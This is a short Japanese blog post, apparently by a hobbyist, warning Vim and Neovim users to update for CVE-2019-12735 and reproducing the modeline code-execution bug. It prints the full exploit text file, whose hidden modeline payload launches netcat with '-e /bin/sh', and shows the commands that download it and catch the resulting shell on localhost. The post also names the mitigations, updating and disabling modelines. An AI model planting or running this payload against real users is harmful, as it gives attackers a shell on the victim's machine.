Vim or NeoVimを使っている人は、すぐにアップデートしましょう [CVE-2019-12735]

結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。

対応するVimのバージョンなどは以下のとおりです。

Product: Vim < 8.1.1365, Neovim < 0.3.6

Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Option: :set modeline(false)

https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md

vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)でサーバーを起動し、そこに接続します。特別に細工されたテキストファイルを開くことによって、modelineを介して任意のコードを実行できる脆弱性ということらしいです。


shell.txt

[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D 


$ mkdir -p tmp

$ cd tmp
$ touch {1..2}

$ sudo pacman -S neovim --noconfirm
$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.txt
---------------
$ nc -vlp 9999
ls
1
2

neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。